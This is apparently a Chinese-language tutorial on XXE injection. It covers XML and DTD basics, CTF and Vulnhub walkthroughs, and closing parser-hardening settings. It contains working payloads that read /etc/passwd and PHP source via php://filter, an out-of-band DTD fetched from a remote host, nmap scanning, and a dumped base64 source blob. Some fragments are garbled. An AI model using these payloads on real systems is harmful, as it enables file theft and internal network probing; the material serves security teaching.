XML 被设计为传输和存储数据,XML 文档结构包括 XML 声明、DTD 文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据
从 HTML 分离,是独立于软件和硬件的信息传输工具。XXE 漏洞全称XML External Entity Injection,即 xml 外部实体注入漏洞,XXE 漏洞发生在应用程序解析 XML 输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。
XML 与 HTML 的主要差异
XML 被设计为传输和存储数据,其焦点是数据的内容。
HTML 被设计用来显示数据,其焦点是数据的外观。
HTML 旨在显示信息 ,而 XML 旨在传输信息。
DTD
文档类型定义(DTD)可定义合法的 XML 文档构建模块
它使用一系列合法的元素来定义文档的结构
DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用
(1)内部的 DOCTYPE 声明
(2)外部文档声明
#DTD 实体
(1)内部实体声明
(2)外部实体声明
(3)参数实体声明
<?xml version="1.0"?>
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>
以上 DTD 解释如下:
!DOCTYPE note (第二行)定义此文档是 note 类型的文档。
!ELEMENT note (第三行)定义 note 元素有四个元素:"to、from、heading,、body"
!ELEMENT to (第四行)定义 to 元素为 "#PCDATA" 类型
!ELEMENT from (第五行)定义 from 元素为 "#PCDATA" 类型
!ELEMENT heading (第六行)定义 heading 元素为 "#PCDATA" 类型
!ELEMENT body (第七行)定义 body 元素为 "#PCDATA" 类型
注意:
!DOCTYPE any (第二行)定义此文档是任意类型的文档
在您的浏览器中打开此 XML 文件,并选择“查看源代码”命令
假如 DTD 位于 XML 源文件的外部,那么它应通过下面的语法被封装在一个 DOCTYPE 定义中:
<!DOCTYPE 根元素 SYSTEM "文件名">
这个 XML 文档和上面的 XML 文档相同,但是拥有一个外部的 DTD: (在 浏览器 中打开,并选择“查看源代码”命令。)
<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>
这是包含 DTD 的 “note.dtd” 文件:
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
语法
<!ENTITY 实体名称 "实体的值">
例子:
DTD 例子:
<!ENTITY writer "Bill Gates">
<!ENTITY copyright "Copyright W3School.com.cn">
XML 例子:
<author>&writer;©right;</author>
组合
<?php
ini_set("error_reporting","E_ALL & ~E_NOTICE"); //屏蔽掉当前页面警告报错
$xml="<?xml version=\"1.0\"?>
<!DOCTYPE author [
<!ENTITY writer \"LSC\">
<!ENTITY copyright \"Copyright lsc\">
]>
<author>&writer;©right;</author>";
$data = @simplexml_load_string($xml,'SimpleXMLElement',LIBXML_NOENT);
$html.="{$data}
";
echo $html;?>
效果:
语法:
<!ENTITY 实体名称 SYSTEM "URI/URL">
例子:
DTD 例子:
<!ENTITY writer SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
<!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
XML 例子:
<author>&writer;©right;</author>
注释: 一个实体由三部分构成: 一个和号 (&), 一个实体名称, 以及一个分号 (。
通过 DTD,您的每一个 XML 文件均可携带一个有关其自身格式的描述。
通过 DTD,独立的团体可一致地使用某个标准的 DTD 来交换数据。
而您的应用程序也可使用某个标准的 DTD 来验证从外部接收到的数据。
您还可以使用 DTD 来验证您自身的数据。
定义一个any类型的文档进行读文件,payload:
<?xml version = "1.0"?> <!DOCTYPE ANY [ <!ENTITY xxe SYSTEM "file:///C://Users//lenovo//Desktop//test.txt"> ]> <x>&xxe;</x>
可以确定地址是否存在,也可以进行端口扫描,也可以把地址改为漏洞地址,触发漏洞
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY rabbit SYSTEM "http://站点/test.txt" >
]>
<x>&rabbit;</x>
<?xml version="1.0" ?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "http://127.0.0.1:8081/evil2.dtd">//访问dtd
%file;
]>
<x>&send;</x>//显示test.txt的内容
evil2.dtd:
<!ENTITY send SYSTEM "file:///d:/test.txt">//读网站服务器的文件
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=test.txt">//读取文件给file
<!ENTITY % dtd SYSTEM "http://192.168.0.103:8081/test.dtd">//访问test.dtd
%dtd;//执行
%send;//执行显示test.dtd中的send标签
]>
test.dtd:
<!ENTITY % payload
""
>
%payload;//显示上面的一长串字符串
#协议-读文件(绕过)
参考:https://www.cnblogs.com/20175211lyz/p/11413335.html
<?xml version = "1.0"?>
<!DOCTYPE ANY [ <!ENTITY f SYSTEM "php://filter/read=convert.base64-encode/resource=xxe.php"> ]>
<x>&f;</x>
读出的数据
PD9waHAKLyoqCiAqIENyZWF0ZWQgYnkgcnVubmVyLmhhbgogKiBUaGVyZSBpcyBub3RoaW5nIG5ldyB1bmRlciB0aGUgc3VuCiAqLwoKCiRTRUxGX1BBR0UgPSBzdWJzdHIoJF9TRVJWRVJbJ1BIUF9TRUxGJ10sc3RycnBvcygkX1NFUlZFUlsnUEhQX1NFTEYnXSwnLycpKzEpOwoKaWYgKCRTRUxGX1BBR0UgPSAieHhlLnBocCIpewogICAgJEFDVElWRSA9IGFycmF5KCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCdhY3RpdmUgb3BlbicsJ2FjdGl2ZScsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycsJycpOwp9CgokUElLQV9ST09UX0RJUiA9ICAiLi4vLi4vIjsKaW5jbHVkZV9vbmNlICRQSUtBX1JPT1RfRElSLidoZWFkZXIucGhwJzsKCgo/PgoKCgo8ZGl2IGNsYXNzPSJtYWluLWNvbnRlbnQiPgogICAgPGRpdiBjbGFzcz0ibWFpbi1jb250ZW50LWlubmVyIj4KICAgICAgICA8ZGl2IGNsYXNzPSJicmVhZGNydW1icyBhY2Utc2F2ZS1zdGF0ZSIgaWQ9ImJyZWFkY3J1bWJzIj4KICAgICAgICAgICAgPHVsIGNsYXNzPSJicmVhZGNydW1iIj4KICAgICAgICAgICAgICAgIDxsaT4KICAgICAgICAgICAgICAgICAgICA8aSBjbGFzcz0iYWNlLWljb24gZmEgZmEtaG9tZSBob21lLWljb24iPjwvaT4KICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSJ4ZWUucGhwIj48L2E+CiAgICAgICAgICAgICAgICA8L2xpPgogICAgICAgICAgICAgICAgPGxpIGNsYXNzPSJhY3RpdmUiPuamgui/sDwvbGk+CiAgICAgICAgICAgIDwvdWw+CiAgICAgICAgPC9kaXY+CiAgICAgICAgPGRpdiBjbGFzcz0icGFnZS1jb250ZW50Ij4KCiAgICAgICAgICAgIDxkaXYgY2xhc3M9InZ1bCBpbmZvIj4KICAgICAgICAgICAgICAgIFhYRSAtInhtbCBleHRlcm5hbCBlbnRpdHkgaW5qZWN0aW9uIjxicj4KICAgICAgICAgICAgICAgIOaXoiJ4bWzlpJbpg6jlrp7kvZPms6jlhaXmvI/mtJ4i44CCPGJyPgogICAgICAgICAgICAgICAg5qaC5ous5LiA5LiL5bCx5pivIuaUu+WHu+iAhemAmui/h+WQkeacjeWKoeWZqOazqOWFpeaMh+WumueahHhtbOWunuS9k+WGheWuuSzku47ogIzorqnmnI3liqHlmajmjInnhafmjIflrprnmoTphY3nva7ov5vooYzmiafooYws5a+86Ie06Zeu6aKYIjxicj4KICAgICAgICAgICAgICAgIOS5n+WwseaYr+ivtOacjeWKoeerr+aOpeaUtuWSjOino+aekOS6huadpeiHqueUqOaIt+err+eahHhtbOaVsOaNrizogIzlj4jmsqHmnInlgZrkuKXmoLznmoTlronlhajmjqfliLYs5LuO6ICM5a+86Ie0eG1s5aSW6YOo5a6e5L2T5rOo5YWl44CCPGJyPgogICAgICAgICAgICAgICAgPGJyPgogICAgICAgICAgICAgICAg5YW35L2T55qE5YWz5LqOeG1s5a6e5L2T55qE5LuL57uNLOe9kee7nOS4iuacieW+iOWkmizoh6rlt7HliqjmiYvlhYjmn6XkuIDkuIvjgIIKICAgICAgICAgICAgICAgIDxicj4KICAgICAgICAgICAgICAgIOeOsOWcqOW+iOWkmuivreiogOmHjOmdouWvueW6lOeahOino+aekHhtbOeahOWHveaVsOm7mOiupOaYr+emgeatouino+aekOWklumDqOWunuS9k+WGheWuueeahCzku47ogIzkuZ/lsLHnm7TmjqXpgb/lhY3kuobov5nkuKrmvI/mtJ7jgII8YnI+CiAgICAgICAgICAgICAgICDku6VQSFDkuLrkvoss5ZyoUEhQ6YeM6Z2i6Kej5p6QeG1s55So55qE5pivbGlieG1sLOWFtuWcqOKJpTIuOS4w55qE54mI5pys5LitLOm7mOiupOaYr+emgeatouino+aekHhtbOWklumDqOWunuS9k+WGheWuueeahOOAgjxicj4KICAgICAgICAgICAgICAgIDxicj4KICAgICAgICAgICAgICAgIOacrOeroOaPkOS+m+eahOahiOS+i+S4rSzkuLrkuobmqKHmi5/mvI/mtJ4s6YCa6L+H5omL5Yqo5oyH5a6aTElCWE1MX05PRU5U6YCJ6aG55byA5ZCv5LqGeG1s5aSW6YOo5a6e5L2T6Kej5p6Q44CCCgoKICAgICAgICAgICAgPC9kaXY+CgogICAgICAgIDwvZGl2PjwhLS0gLy5wYWdlLWNvbnRlbnQgLS0+CiAgICA8L2Rpdj4KPC9kaXY+PCEtLSAvLm1haW4tY29udGVudCAtLT4KCgoKPD9waHAKaW5jbHVkZV9vbmNlICRQSUtBX1JPT1RfRElSIC4gJ2Zvb3Rlci5waHAnOwoKPz4K
进行base64解密得到xxe1.php源码
1、获取得到Content-Type或数据类型为xml时,尝试进行xml语言payload进行测试
2、不管获取的Content-Type类型或数据传输类型,均可尝试修改后提交测试xxe
3、XXE不仅在数据传输上可能存在漏洞,同样在文件上传引用插件解析或预览也会造成文件中的XXE Payload被执行
[NCTF2019]Fake XML cookbook
2、我们可以登录直接抓包,发现这里的登陆参数是xml格式判断存在xxe漏洞
3、文件读取payload:
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE ruler [
<!ENTITY filee SYSTEM "php://filter/read=convert.base64-encode/resource=doLogin.php">
]>
<user>
<username>&filee;</username>
<password></password>
</user>
<!DOCTYPE ruler [
<!ENTITY filee SYSTEM "file:///flag">
]>
<user>
<username>&filee;</username>
<password>ruler</password>
</user>
# CTF-Vulnhub-XXE 安全真题复现-检测,利用,拓展,实战
扫描 IP 及端口->扫描探针目录->抓包探针 xxe 安全->利用 xxe 读取源码->flag 指向文件->base32 64 解
密->php 运行->flag
```javascript
]>
&sp; hj
http://web.jarvisoj.com:9882/
靶场页面
1、进行抓包
2、我们可以尝试更改请求数据格式:application/xml 来实现XXE注入
更改请求数据格式:application/xml
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "file:///etc/passwd">
]>
<x>&f;</x>
靶场
1.信息收集-主机ip扫描
nmap -sS 192.168.111.1/24
发现192.168.111.135开放了80端口,打开网页
接着通过robots协议,发现存在的目录如下
进入/xxe/查看
登录进行抓包查看发现存在xml漏洞,现在收集完毕之后就行漏洞利用
2、文件读取admin.php的内容
payload
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root[
<!ELEMENT root ANY>
<!ENTITY sp SYSTEM "php://filter/read=convert.base64-encode/resource=admin.php">
]>
<root><name>&sp;</name><password></password></root>
3、将右边获得密码进行base64解码
4、通过返回的代码知道账号和密码
5、进入xss/admin.php登录,账号为administhebest,密码为admin@123,登录
登录后页面,点击Flag
跳转到flagout.php,发现打不开,试着读取flagout.php
6、解码得到flag in一串32位数据,得是base32,拿去base32解密
7、解码得到base64,再拿去base解码
8、得到新的目录
10、解码
11、拿去php生成器运行,最后一行即为flag
https://www.cnblogs.com/bmjoker/p/9614990.html
xxe_payload_fuzz
PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf
=DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false);
Python:
from lxml import etreexmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
过滤关键词: